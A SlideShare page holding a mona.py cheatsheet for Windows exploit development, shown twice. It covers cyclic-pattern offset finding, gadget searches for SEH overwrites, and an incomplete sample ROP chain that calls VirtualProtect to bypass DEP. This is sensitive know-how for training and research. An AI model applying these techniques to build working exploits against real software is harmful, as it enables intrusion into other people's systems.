SlideShare a Scribd company logo
2
Most read
===========================
A LITTLE MONA.PY CHEATSHEET
===========================

Last Modify: 08/12/2011
Author: luca.mella@studio.unibo.it


************************************************************************
*** Configuration ******************************************************
************************************************************************

!mona config -set workingfolder c:logs%p
      Set the current working directory. Mona will put output here.
      You might use -get alse for retrive current working folder.
      (%p means processname)

-cm <option>=true/false
      safeseh
      aslr
      os
      rebase

************************************************************************
*** General searching options ******************************************
************************************************************************

-cp <option>,<option>
      nonull
      unicode                  00xx00yy
      ascii
      asciiprint
      upper
      lower
      uppernum
      lowernum
      numeric
      alphanum
      startswithnull      00xxyyzz

-cpb <badchars>
      Exclude specified badchars from pointer search

-p <N>
      Number of pointers to return

-x <level>
      R,W,X,RW,RX,WX,RWX,*     pointers that point to a segment with specified
access level

************************************************************************
*** Pattern ************************************************************
************************************************************************

!mona pc <size>
      Create a cyclic pattern of <size> bytes. Same of "msf_pattern" in metasploit

!mona po <0x4bytes>
      find the offset of specified bytes in cyclic pattern
************************************************************************
*** After a crash with cyclic pattern payload **************************
************************************************************************

!mona suggest

     Watch for output..
     EIP overwritten with normal pattern :   0x37694136 (offset 260)
     !!! %EBP+4
     ESP (0x0018f574) points at offset 264   in normal pattern (length 736)
     EBP overwritten with normal pattern :   0x69413569 (offset 256)
     EBX (0x0018f580) points at offset 276   in normal pattern (length 724)

      --- output ---
      0BADF00D   [+] Processing arguments and criteria
      0BADF00D       - Pointer access level : X
      0BADF00D   [+] Looking for cyclic pattern in memory
      750F0000   Modules C:WindowsSystem32wshtcpip.dll
      0BADF00D       Cyclic pattern (normal) found at 0x0018f46c (length 1000
bytes)
      0BADF00D       Cyclic pattern (normal) found at 0x001c3961 (length 1000
bytes)
      0BADF00D   [+] Examining registers
      0BADF00D       EIP overwritten with normal pattern : 0x37694136 (offset 260)
      0BADF00D       ESP (0x0018f574) points at offset 264 in normal pattern
(length 736)
      0BADF00D       EBP overwritten with normal pattern : 0x69413569 (offset 256)
      0BADF00D       EBX (0x0018f580) points at offset 276 in normal pattern
(length 724)
      0BADF00D   [+] Examining SEH chain
      0BADF00D   [+] Examining stack
      0BADF00D       Pointer into normal cyclic pattern at ESP-0x1e8 (-488) :
0x0018f580 : offset 276, length 724
      0BADF00D       Pointer into normal cyclic pattern at ESP-0x19c (-412) :
0x001c396d : offset 12, length 988
      0BADF00D       Pointer into normal cyclic pattern at ESP-0x174 (-372) :
0x0018f46c : offset 0, length 1000
      0BADF00D       Pointer into normal cyclic pattern at ESP-0x170 (-368) :
0x001c396d : offset 12, length 988
      0BADF00D       Pointer into normal cyclic pattern at ESP-0x164 (-356) :
0x0018f580 : offset 276, length 724
      0BADF00D       Pointer into normal cyclic pattern at ESP-0x154 (-340) :
0x0018f56c : offset 256, length 744
      0BADF00D       Pointer into normal cyclic pattern at ESP-0x134 (-308) :
0x0018f580 : offset 276, length 724
      0BADF00D       Pointer into normal cyclic pattern at ESP-0x114 (-276) :
0x0018f46c : offset 0, length 1000
      0BADF00D       Pointer into normal cyclic pattern at ESP-0x110 (-272) :
0x0018f46c : offset 0, length 1000
      0BADF00D       Pointer into normal cyclic pattern at ESP-0x10c (-268) :
0x0018f580 : offset 276, length 724
      0BADF00D   [+] Preparing log file 'exploit.rb'
      0BADF00D       - (Re)setting logfile C:mona_logsexploit.rb
      0BADF00D   [+] Generating module info table, hang on...
      0BADF00D       - Processing modules
      0BADF00D       - Done. Let's rock 'n roll.
      --- end of output ---
************************************************************************
*** Finding things in memory *******************************************
************************************************************************

!mona find

      Find a sequence of bytes in memory.
      Mandatory argument : -s <pattern> : the sequence to search for.
      -type <type>    : Type of pattern to search for : bin,asc,ptr,instr,file
      -b <address> : the bottom of the search range
      -t <address> : the top of the search range
      -c : skip consecutive pointers but show length of the pattern instead
      -p2p : show pointers to pointers to the pattern (might take a while !)
      -r <number> : if p2p is used, you can tell the find to also find close
pointers by specifying -r with a value.
                          This value indicates the number of bytes to step
backwards for each search

!mona find -type instr -s "jmp ebx" -m ntdll.dll

      --- output ---
      Search into module ntdll.dll
      Search for "jmp ebx" as assembly instruction
      Result:
      0x77e5172b (b+0x0007172b) : "jmp ebx" | {PAGE_EXECUTE_READ} [ntdll.dll]
ASLR: True, Rebase: True,
                                                SafeSEH: True, OS: True,
v6.1.7600.16385 (C:WindowsSysWOW64ntdll.dll)
      --- end of output ---

************************************************************************
*** Assemble instructions **********************************************
************************************************************************

!mona assemble -s "nop"

     Return the opcode of specified instructions (chain with '#').

************************************************************************
*** Searching for 'POP/POP/RET' instruction (SEH exploiting) ***********
************************************************************************
!mona seh

     Find POP POP RET instruction into program memory.
     This statements could be used in SEH exploiting.

     --- output ---
     0BADF00D   [+] Writing results to C:mona_logsseh.txt
     0BADF00D       - Number of pointers of type 'pop ebx #   pop   eax # ret ' : 3
     0BADF00D       - Number of pointers of type 'pop esi #   pop   edi # ret ' : 3
     0BADF00D       - Number of pointers of type 'pop ecx #   pop   ebx # ret ' : 1
     0BADF00D       - Number of pointers of type 'pop ebx #   pop   ebp # ret ' : 3
     0BADF00D       - Number of pointers of type 'pop ebx #   pop   eax # ret 04' : 2
     0BADF00D       - Number of pointers of type 'pop ebx #   pop   ecx # ret ' : 15
     0BADF00D       - Number of pointers of type 'pop ecx #   pop   edi # ret ' : 1
     0BADF00D       - Number of pointers of type 'pop ebx #   pop   ecx # ret 0c' : 1
     0BADF00D       - Number of pointers of type 'pop esi #   pop   ebx # ret ' : 6
     0BADF00D       - Number of pointers of type 'jmp dword   ptr   ss:[esp+14]' : 1
     0BADF00D       - Number of pointers of type 'pop esi #   pop   ebx # ret 08' : 2
0BADF00D       - Number    of   pointers   of   type   'call dword ptr ss:[ebp-04]'   :   1
     0BADF00D       - Number    of   pointers   of   type   'pop esi # pop ebx # ret 04'   :   2
     0BADF00D       - Number    of   pointers   of   type   'call dword ptr ss:[esp+14]'   :   1
     0BADF00D       - Number    of   pointers   of   type   'pop ebx # pop ecx # ret 04'   :   14
     0BADF00D       - Number    of   pointers   of   type   'call dword ptr ss:[ebp-18]'   :   1
     0BADF00D       - Number    of   pointers   of   type   'pop edi # pop ebx # ret ' :   1
     [..]
     --- end of output ---

************************************************************************
*** ROP based exploit *******************************
************************************************************************

!mona rop -m <NONASLRMODULES>

      Analyze memory prepare several lists of ROP valid gadget (any INSTR + RET
sequence), stack pivots, rop functions,
      Generate a ROP chain aimed to bypass DEP (call to VirtualProtect with PUSHAD
technique), and suggest wich address
      need to be fixed for make it works.

     NOTE:
            Watch "C:mona_logsrop_suggestion.txt" for a clear gadget list.
            Watch "C:mona_logsrop_virtualprotect.txt" for a starting point for
your rop payload (aimed to DEP bypass).
            Watch "C:mona_logsstack_pivot.txt" for a list of gadget that permit
to change ESP.

      --- output ---
           ---------- Mona command started on 2011-07-21 10:58:09 ----------
               [..]
                         VirtualProtect register structure (PUSHAD technique)
                         ----------------------------------------------------
                           EAX = NOP (0x90909090)
                           ECX = lpOldProtect (Writable ptr)
                           EDX = NewProtect (0x40)
                           EBX = Size
                           ESP = lPAddress (automatic)
                           EBP = ReturnTo (ptr to jmp esp - run '!mona jmp -r esp -
n -o')
                           ESI = ptr to VirtualProtect()
                           EDI = ROP NOP (RETN)

                         VirtualProtect() 'pushad' rop chain
                         ------------------------------------
                           rop_gadgets =
                                 [
                                       0x00404880,    # POP ECX # RETN (server.exe)
                                       0x????????,    # <- *&VirtualProtect()
                                       0x00406a48,    # MOV EAX,DWORD PTR DS:[ECX]
# ADD EAX,ECX # RETN (server.exe)
                                       0x????????,    # ** <- find routine to move
virtualprotect() into esi
                                                              # ** Hint : look for
mov [esp+offset],eax and pop esi
                                       0x????????,    # couldn't find a pointer to
put ptr to 'jmp esp' into ebp
                                       0x????????,    # <- put pointer to payload
here
0x00403e04,    # POP EBX # RETN (server.exe)
                                      0x00000201,    # <- change size to mark as
executable if needed (-> ebx)
                                      0x00404880,    # POP ECX # RETN (server.exe)
                                      0x00409000,    # RW pointer (lpOldProtect)
(-> ecx)
                                      0x00404be4,    # POP EDI # RETN (server.exe)
                                      0x00404be5,    # ROP NOP (-> edi)
                                      0x0040431c,    # POP EDX # RETN (server.exe)
                                      0x00000040,    # newProtect (0x40) (-> edx)
                                      0x00404a84,    # POP EAX # RETN (server.exe)
                                      0x90909090,    # NOPS (-> eax)
                                      0x004022e0,    # PUSHAD # RETN (server.exe)
                                # rop chain generated by mona.py
                                # note : this chain may not work out of the box
                                # you may have to change order or fix some
gadgets,
                                # but it should give you a head start
                                ].pack("V*")
           [..]
     --- end of output ---


===================================================================================
===
Reference:
      https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/
      https://www.corelan.be/index.php/2011/05/12/hack-notes-ropping-eggs-for-
breakfast/

More Related Content

PPTX
Programming in Python
PPTX
Python variables and data types.pptx
PPTX
linked list.pptx
PDF
도커 없이 컨테이너 만들기 3편
PPT
PDF
Shell scripting
PDF
Python tuples and Dictionary
Programming in Python
Python variables and data types.pptx
linked list.pptx
도커 없이 컨테이너 만들기 3편
Shell scripting
Python tuples and Dictionary

What's hot (20)

PPTX
Python Scipy Numpy
PDF
도커 없이 컨테이너 만들기 2편
PPTX
Python - Numpy/Pandas/Matplot Machine Learning Libraries
PPTX
Operators and Control Statements in Python
PPTX
Python-FileHandling.pptx
PDF
LDAP Injection
PPTX
Values and Data types in python
PPT
Ruby Basics
 
PPTX
Python Libraries and Modules
PPTX
Deletion from single way linked list and search
PPTX
Looping Statements and Control Statements in Python
PPT
Vi editor in linux
PPT
Data Structures with C Linked List
PPT
List Data Structure
PPTX
Exception handling in Java
PDF
sparse matrix in data structure
PDF
Python decision making
PPTX
How to download and install Python - lesson 2
Python Scipy Numpy
도커 없이 컨테이너 만들기 2편
Python - Numpy/Pandas/Matplot Machine Learning Libraries
Operators and Control Statements in Python
Python-FileHandling.pptx
LDAP Injection
Values and Data types in python
Ruby Basics
 
Python Libraries and Modules
Deletion from single way linked list and search
Looping Statements and Control Statements in Python
Vi editor in linux
Data Structures with C Linked List
List Data Structure
Exception handling in Java
sparse matrix in data structure
Python decision making
How to download and install Python - lesson 2
Ad

Viewers also liked (20)

PPTX
Exploit Research and Development Megaprimer: mona.py, Exploit Writer's Swiss ...
PPTX
Make profit with UI-Redressing attacks.
PPTX
Exploit Research and Development Megaprimer: Unicode Based Exploit Development
PPTX
five kinds of deadly sins
PPT
Video in learning process
PDF
Computational investigation of blast survivability and off-road performance o...
PPTX
PDF
Lecture2 - Image classification and the data-driven approach k-nearest neigh...
PPTX
Blast Study Method
PPT
Muhammad abdullah blast inj.
DOCX
SALMAN CV New
PPTX
Post blast scene
PPT
Religious and daily life
PPTX
TK Slowakei
PPTX
Penetrating bain injuries
PDF
Building your credibility with LinkedIn
ZIP
Edexcel GCSE Religious Studies J2 Revision
PPT
Research on Effective Study Habbits
PPTX
21.Mendoza, Daizelle Ann M.
Exploit Research and Development Megaprimer: mona.py, Exploit Writer's Swiss ...
Make profit with UI-Redressing attacks.
Exploit Research and Development Megaprimer: Unicode Based Exploit Development
five kinds of deadly sins
Video in learning process
Computational investigation of blast survivability and off-road performance o...
Lecture2 - Image classification and the data-driven approach k-nearest neigh...
Blast Study Method
Muhammad abdullah blast inj.
SALMAN CV New
Post blast scene
Religious and daily life
TK Slowakei
Penetrating bain injuries
Building your credibility with LinkedIn
Edexcel GCSE Religious Studies J2 Revision
Research on Effective Study Habbits
21.Mendoza, Daizelle Ann M.
Ad

Similar to Mona cheatsheet (20)

PPT
Writing Metasploit Plugins
PDF
Kernel Recipes 2013 - Deciphering Oopsies
ODP
Exploiting Memory Overflows
PDF
Exploring the x64
PDF
Reverse Engineering Dojo: Enhancing Assembly Reading Skills
PPTX
Load-time Hacking using LD_PRELOAD
PPT
class04_x86assembly.ppt hy there u need be
PPT
Windows debugging sisimon
ODP
The forgotten art of assembly
PPTX
How the stack works(1)
PDF
Getting Started with Raspberry Pi - DCC 2013.1
PDF
20190521 pwn 101_by_roy
PPTX
Software to the slaughter
PDF
Finding Xori: Malware Analysis Triage with Automated Disassembly
PDF
Symbolic Debugging with DWARF
PDF
[2012 CodeEngn Conference 06] pwn3r - Secuinside 2012 CTF 예선 문제풀이
PDF
HackLU 2018 Make ARM Shellcode Great Again
PDF
What will be quantization step size in numbers and in voltage for th.pdf
PPT
5asm the stackandsubroutines
PDF
C&cpu
Writing Metasploit Plugins
Kernel Recipes 2013 - Deciphering Oopsies
Exploiting Memory Overflows
Exploring the x64
Reverse Engineering Dojo: Enhancing Assembly Reading Skills
Load-time Hacking using LD_PRELOAD
class04_x86assembly.ppt hy there u need be
Windows debugging sisimon
The forgotten art of assembly
How the stack works(1)
Getting Started with Raspberry Pi - DCC 2013.1
20190521 pwn 101_by_roy
Software to the slaughter
Finding Xori: Malware Analysis Triage with Automated Disassembly
Symbolic Debugging with DWARF
[2012 CodeEngn Conference 06] pwn3r - Secuinside 2012 CTF 예선 문제풀이
HackLU 2018 Make ARM Shellcode Great Again
What will be quantization step size in numbers and in voltage for th.pdf
5asm the stackandsubroutines
C&cpu

More from Ce.Se.N.A. Security (20)

PDF
Rilevamento di attacchi di rete tramite protocolli di monitoraggio per route...
PDF
Rilevamento di attacchi di rete tramite protocolli di monitoraggio per router...
TXT
Exploit techniques - a quick review
TXT
Msfpayload/Msfencoder cheatsheet
PDF
ICTF overview
PDF
Anonymous email
PDF
Hacking reti wireless
PDF
SELinux - overview
PDF
Analisi sulla sicurezza di una autovettura moderna
PDF
Sicurezza delle reti 802.11
PDF
Rilevamento intrusioni in wlan
PDF
Rainbow tables
PDF
Network monitoring tramite snmp
PDF
Monitoraggio di rete con nagios
PDF
Monitoraggio di mac address in lan
PDF
Ip sec vulnerability
PDF
Insider attack
PDF
Inoltro di pacchetti ip in sistemi linux
PDF
Crimini informatici e accesso abusivo
Rilevamento di attacchi di rete tramite protocolli di monitoraggio per route...
Rilevamento di attacchi di rete tramite protocolli di monitoraggio per router...
Exploit techniques - a quick review
Msfpayload/Msfencoder cheatsheet
ICTF overview
Anonymous email
Hacking reti wireless
SELinux - overview
Analisi sulla sicurezza di una autovettura moderna
Sicurezza delle reti 802.11
Rilevamento intrusioni in wlan
Rainbow tables
Network monitoring tramite snmp
Monitoraggio di rete con nagios
Monitoraggio di mac address in lan
Ip sec vulnerability
Insider attack
Inoltro di pacchetti ip in sistemi linux
Crimini informatici e accesso abusivo

Recently uploaded (20)

PDF
Home science Resource management project
PPTX
Term review 2023 Hirata TYPHOON.pptx review
PPTX
LESSON-2-Physical-Education-FIT-and-ACTIVE-july-2025.pptx
PPTX
TLE 8 MANICURE.pptx 1-39U2-048012412048120182
PPTX
photography_basics_jdfjdbjdbjbfjdbj.pptx
PDF
Intro to Culture, Society, and Politics.
PPTX
Saraf Furniture Reviews – A Story of Trust, Craftsmanship, and Happy Homes.pptx
PPTX
Social%20Dance%20(%20Cha%20Cha%20Dance).pptx.pptx
DOC
AAMU毕业证学历认证,爱默生学院毕业证ps毕业证
PPTX
Long Sleeve Tops for Women - 4 Girls Boutique
PPTX
Participation in physical education to promote fitness
PDF
Non-Fatal Strangulation in Domestic Violence
PDF
Global Business Today 10th Edition by Hill Test Bank.pdf
PPTX
hhhsyysvwvsydxuguduehshsvdhvdjbuwbjwjdbwubs
PDF
Uniqaya Night Cream For All Skin Type With Natural Ingredients
PPTX
Faridabad The City That’s Redefining Urban Living.pptx
PDF
Modern Furniture Trends & Home Interior Decoration
PPTX
Fashion Jewellery and Clothing Business.pptx
PPTX
Skincare Solutions Tips to Keep Your Skin Hydrated & Glowing
DOC
AU毕业证学历认证,阿拉巴马大学亨茨维尔分校毕业证成绩单图片
Home science Resource management project
Term review 2023 Hirata TYPHOON.pptx review
LESSON-2-Physical-Education-FIT-and-ACTIVE-july-2025.pptx
TLE 8 MANICURE.pptx 1-39U2-048012412048120182
photography_basics_jdfjdbjdbjbfjdbj.pptx
Intro to Culture, Society, and Politics.
Saraf Furniture Reviews – A Story of Trust, Craftsmanship, and Happy Homes.pptx
Social%20Dance%20(%20Cha%20Cha%20Dance).pptx.pptx
AAMU毕业证学历认证,爱默生学院毕业证ps毕业证
Long Sleeve Tops for Women - 4 Girls Boutique
Participation in physical education to promote fitness
Non-Fatal Strangulation in Domestic Violence
Global Business Today 10th Edition by Hill Test Bank.pdf
hhhsyysvwvsydxuguduehshsvdhvdjbuwbjwjdbwubs
Uniqaya Night Cream For All Skin Type With Natural Ingredients
Faridabad The City That’s Redefining Urban Living.pptx
Modern Furniture Trends & Home Interior Decoration
Fashion Jewellery and Clothing Business.pptx
Skincare Solutions Tips to Keep Your Skin Hydrated & Glowing
AU毕业证学历认证,阿拉巴马大学亨茨维尔分校毕业证成绩单图片

Mona cheatsheet

  • 1. =========================== A LITTLE MONA.PY CHEATSHEET =========================== Last Modify: 08/12/2011 Author: luca.mella@studio.unibo.it ************************************************************************ *** Configuration ****************************************************** ************************************************************************ !mona config -set workingfolder c:logs%p Set the current working directory. Mona will put output here. You might use -get alse for retrive current working folder. (%p means processname) -cm <option>=true/false safeseh aslr os rebase ************************************************************************ *** General searching options ****************************************** ************************************************************************ -cp <option>,<option> nonull unicode 00xx00yy ascii asciiprint upper lower uppernum lowernum numeric alphanum startswithnull 00xxyyzz -cpb <badchars> Exclude specified badchars from pointer search -p <N> Number of pointers to return -x <level> R,W,X,RW,RX,WX,RWX,* pointers that point to a segment with specified access level ************************************************************************ *** Pattern ************************************************************ ************************************************************************ !mona pc <size> Create a cyclic pattern of <size> bytes. Same of "msf_pattern" in metasploit !mona po <0x4bytes> find the offset of specified bytes in cyclic pattern
  • 2. ************************************************************************ *** After a crash with cyclic pattern payload ************************** ************************************************************************ !mona suggest Watch for output.. EIP overwritten with normal pattern : 0x37694136 (offset 260) !!! %EBP+4 ESP (0x0018f574) points at offset 264 in normal pattern (length 736) EBP overwritten with normal pattern : 0x69413569 (offset 256) EBX (0x0018f580) points at offset 276 in normal pattern (length 724) --- output --- 0BADF00D [+] Processing arguments and criteria 0BADF00D - Pointer access level : X 0BADF00D [+] Looking for cyclic pattern in memory 750F0000 Modules C:WindowsSystem32wshtcpip.dll 0BADF00D Cyclic pattern (normal) found at 0x0018f46c (length 1000 bytes) 0BADF00D Cyclic pattern (normal) found at 0x001c3961 (length 1000 bytes) 0BADF00D [+] Examining registers 0BADF00D EIP overwritten with normal pattern : 0x37694136 (offset 260) 0BADF00D ESP (0x0018f574) points at offset 264 in normal pattern (length 736) 0BADF00D EBP overwritten with normal pattern : 0x69413569 (offset 256) 0BADF00D EBX (0x0018f580) points at offset 276 in normal pattern (length 724) 0BADF00D [+] Examining SEH chain 0BADF00D [+] Examining stack 0BADF00D Pointer into normal cyclic pattern at ESP-0x1e8 (-488) : 0x0018f580 : offset 276, length 724 0BADF00D Pointer into normal cyclic pattern at ESP-0x19c (-412) : 0x001c396d : offset 12, length 988 0BADF00D Pointer into normal cyclic pattern at ESP-0x174 (-372) : 0x0018f46c : offset 0, length 1000 0BADF00D Pointer into normal cyclic pattern at ESP-0x170 (-368) : 0x001c396d : offset 12, length 988 0BADF00D Pointer into normal cyclic pattern at ESP-0x164 (-356) : 0x0018f580 : offset 276, length 724 0BADF00D Pointer into normal cyclic pattern at ESP-0x154 (-340) : 0x0018f56c : offset 256, length 744 0BADF00D Pointer into normal cyclic pattern at ESP-0x134 (-308) : 0x0018f580 : offset 276, length 724 0BADF00D Pointer into normal cyclic pattern at ESP-0x114 (-276) : 0x0018f46c : offset 0, length 1000 0BADF00D Pointer into normal cyclic pattern at ESP-0x110 (-272) : 0x0018f46c : offset 0, length 1000 0BADF00D Pointer into normal cyclic pattern at ESP-0x10c (-268) : 0x0018f580 : offset 276, length 724 0BADF00D [+] Preparing log file 'exploit.rb' 0BADF00D - (Re)setting logfile C:mona_logsexploit.rb 0BADF00D [+] Generating module info table, hang on... 0BADF00D - Processing modules 0BADF00D - Done. Let's rock 'n roll. --- end of output ---
  • 3. ************************************************************************ *** Finding things in memory ******************************************* ************************************************************************ !mona find Find a sequence of bytes in memory. Mandatory argument : -s <pattern> : the sequence to search for. -type <type> : Type of pattern to search for : bin,asc,ptr,instr,file -b <address> : the bottom of the search range -t <address> : the top of the search range -c : skip consecutive pointers but show length of the pattern instead -p2p : show pointers to pointers to the pattern (might take a while !) -r <number> : if p2p is used, you can tell the find to also find close pointers by specifying -r with a value. This value indicates the number of bytes to step backwards for each search !mona find -type instr -s "jmp ebx" -m ntdll.dll --- output --- Search into module ntdll.dll Search for "jmp ebx" as assembly instruction Result: 0x77e5172b (b+0x0007172b) : "jmp ebx" | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: True, SafeSEH: True, OS: True, v6.1.7600.16385 (C:WindowsSysWOW64ntdll.dll) --- end of output --- ************************************************************************ *** Assemble instructions ********************************************** ************************************************************************ !mona assemble -s "nop" Return the opcode of specified instructions (chain with '#'). ************************************************************************ *** Searching for 'POP/POP/RET' instruction (SEH exploiting) *********** ************************************************************************ !mona seh Find POP POP RET instruction into program memory. This statements could be used in SEH exploiting. --- output --- 0BADF00D [+] Writing results to C:mona_logsseh.txt 0BADF00D - Number of pointers of type 'pop ebx # pop eax # ret ' : 3 0BADF00D - Number of pointers of type 'pop esi # pop edi # ret ' : 3 0BADF00D - Number of pointers of type 'pop ecx # pop ebx # ret ' : 1 0BADF00D - Number of pointers of type 'pop ebx # pop ebp # ret ' : 3 0BADF00D - Number of pointers of type 'pop ebx # pop eax # ret 04' : 2 0BADF00D - Number of pointers of type 'pop ebx # pop ecx # ret ' : 15 0BADF00D - Number of pointers of type 'pop ecx # pop edi # ret ' : 1 0BADF00D - Number of pointers of type 'pop ebx # pop ecx # ret 0c' : 1 0BADF00D - Number of pointers of type 'pop esi # pop ebx # ret ' : 6 0BADF00D - Number of pointers of type 'jmp dword ptr ss:[esp+14]' : 1 0BADF00D - Number of pointers of type 'pop esi # pop ebx # ret 08' : 2
  • 4. 0BADF00D - Number of pointers of type 'call dword ptr ss:[ebp-04]' : 1 0BADF00D - Number of pointers of type 'pop esi # pop ebx # ret 04' : 2 0BADF00D - Number of pointers of type 'call dword ptr ss:[esp+14]' : 1 0BADF00D - Number of pointers of type 'pop ebx # pop ecx # ret 04' : 14 0BADF00D - Number of pointers of type 'call dword ptr ss:[ebp-18]' : 1 0BADF00D - Number of pointers of type 'pop edi # pop ebx # ret ' : 1 [..] --- end of output --- ************************************************************************ *** ROP based exploit ******************************* ************************************************************************ !mona rop -m <NONASLRMODULES> Analyze memory prepare several lists of ROP valid gadget (any INSTR + RET sequence), stack pivots, rop functions, Generate a ROP chain aimed to bypass DEP (call to VirtualProtect with PUSHAD technique), and suggest wich address need to be fixed for make it works. NOTE: Watch "C:mona_logsrop_suggestion.txt" for a clear gadget list. Watch "C:mona_logsrop_virtualprotect.txt" for a starting point for your rop payload (aimed to DEP bypass). Watch "C:mona_logsstack_pivot.txt" for a list of gadget that permit to change ESP. --- output --- ---------- Mona command started on 2011-07-21 10:58:09 ---------- [..] VirtualProtect register structure (PUSHAD technique) ---------------------------------------------------- EAX = NOP (0x90909090) ECX = lpOldProtect (Writable ptr) EDX = NewProtect (0x40) EBX = Size ESP = lPAddress (automatic) EBP = ReturnTo (ptr to jmp esp - run '!mona jmp -r esp - n -o') ESI = ptr to VirtualProtect() EDI = ROP NOP (RETN) VirtualProtect() 'pushad' rop chain ------------------------------------ rop_gadgets = [ 0x00404880, # POP ECX # RETN (server.exe) 0x????????, # <- *&VirtualProtect() 0x00406a48, # MOV EAX,DWORD PTR DS:[ECX] # ADD EAX,ECX # RETN (server.exe) 0x????????, # ** <- find routine to move virtualprotect() into esi # ** Hint : look for mov [esp+offset],eax and pop esi 0x????????, # couldn't find a pointer to put ptr to 'jmp esp' into ebp 0x????????, # <- put pointer to payload here
  • 5. 0x00403e04, # POP EBX # RETN (server.exe) 0x00000201, # <- change size to mark as executable if needed (-> ebx) 0x00404880, # POP ECX # RETN (server.exe) 0x00409000, # RW pointer (lpOldProtect) (-> ecx) 0x00404be4, # POP EDI # RETN (server.exe) 0x00404be5, # ROP NOP (-> edi) 0x0040431c, # POP EDX # RETN (server.exe) 0x00000040, # newProtect (0x40) (-> edx) 0x00404a84, # POP EAX # RETN (server.exe) 0x90909090, # NOPS (-> eax) 0x004022e0, # PUSHAD # RETN (server.exe) # rop chain generated by mona.py # note : this chain may not work out of the box # you may have to change order or fix some gadgets, # but it should give you a head start ].pack("V*") [..] --- end of output --- =================================================================================== === Reference: https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/ https://www.corelan.be/index.php/2011/05/12/hack-notes-ropping-eggs-for- breakfast/